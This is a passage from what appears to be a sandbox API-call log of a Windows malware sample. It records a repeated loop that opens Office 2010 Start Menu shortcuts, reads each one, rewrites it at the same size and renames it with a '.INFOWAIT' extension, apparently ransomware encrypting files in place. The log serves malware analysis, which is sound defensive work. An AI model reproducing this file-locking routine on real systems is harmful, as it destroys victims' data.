returned 0xad4 [0135.248] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbd2 [0135.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0135.248] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.248] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbd2, lpOverlapped=0x0) returned 1 [0135.352] VirtualAlloc (lpAddress=0x0, dwSize=0xbd2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0135.352] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.352] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbd2, lpOverlapped=0x0) returned 1 [0135.353] CloseHandle (hObject=0xad4) returned 1 [0135.353] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" [0135.353] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk.INFOWAIT" [0135.353] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk.infowait")) returned 1 [0135.353] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.354] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.354] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0135.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0135.453] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xba1 [0135.453] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0135.453] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.453] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xba1, lpOverlapped=0x0) returned 1 [0135.670] VirtualAlloc (lpAddress=0x0, dwSize=0xba1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0135.670] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.670] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xba1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xba1, lpOverlapped=0x0) returned 1 [0135.671] CloseHandle (hObject=0xad0) returned 1 [0135.671] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" [0135.671] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk.INFOWAIT" [0135.671] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk.infowait")) returned 1 [0135.671] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.673] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.673] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0135.673] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0135.811] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb65 [0135.811] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0135.811] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.811] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb65, lpOverlapped=0x0) returned 1 [0135.964] VirtualAlloc (lpAddress=0x0, dwSize=0xb65, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0135.964] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.964] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb65, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb65, lpOverlapped=0x0) returned 1 [0135.964] CloseHandle (hObject=0xad4) returned 1 [0135.964] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" [0135.964] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk.INFOWAIT" [0135.964] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk.infowait")) returned 1 [0135.965] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.966] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.966] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0135.966] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0135.966] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xabf [0135.966] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0135.967] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.967] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xabf, lpOverlapped=0x0) returned 1 [0136.019] VirtualAlloc (lpAddress=0x0, dwSize=0xabf, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.020] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.020] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xabf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xabf, lpOverlapped=0x0) returned 1 [0136.020] CloseHandle (hObject=0xad4) returned 1 [0136.020] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" [0136.020] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk.INFOWAIT" [0136.020] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk.infowait")) returned 1 [0136.021] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.021] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.022] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.022] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.022] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb15 [0136.022] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.022] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.022] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb15, lpOverlapped=0x0) returned 1 [0136.086] VirtualAlloc (lpAddress=0x0, dwSize=0xb15, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.087] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.087] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb15, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb15, lpOverlapped=0x0) returned 1 [0136.087] CloseHandle (hObject=0xad4) returned 1 [0136.087] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" [0136.087] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk.INFOWAIT" [0136.087] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk.infowait")) returned 1 [0136.088] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.089] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.089] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.089] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.089] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb3b [0136.089] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.089] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.089] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb3b, lpOverlapped=0x0) returned 1 [0136.277] VirtualAlloc (lpAddress=0x0, dwSize=0xb3b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.277] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.277] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb3b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb3b, lpOverlapped=0x0) returned 1 [0136.277] CloseHandle (hObject=0xad4) returned 1 [0136.278] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" [0136.278] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk.INFOWAIT" [0136.278] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk.infowait")) returned 1 [0136.278] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.279] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.279] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.279] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.280] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbb7 [0136.280] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.280] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.280] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbb7, lpOverlapped=0x0) returned 1 [0136.479] VirtualAlloc (lpAddress=0x0, dwSize=0xbb7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.480] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.480] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbb7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbb7, lpOverlapped=0x0) returned 1 [0136.480] CloseHandle (hObject=0xad4) returned 1 [0136.480] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" [0136.480] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk.INFOWAIT" [0136.480] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk.infowait")) returned 1 [0136.481] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.481] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.482] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.482] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb3f [0136.482] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.482] SetFilePointer (in: hFile=0xad4, 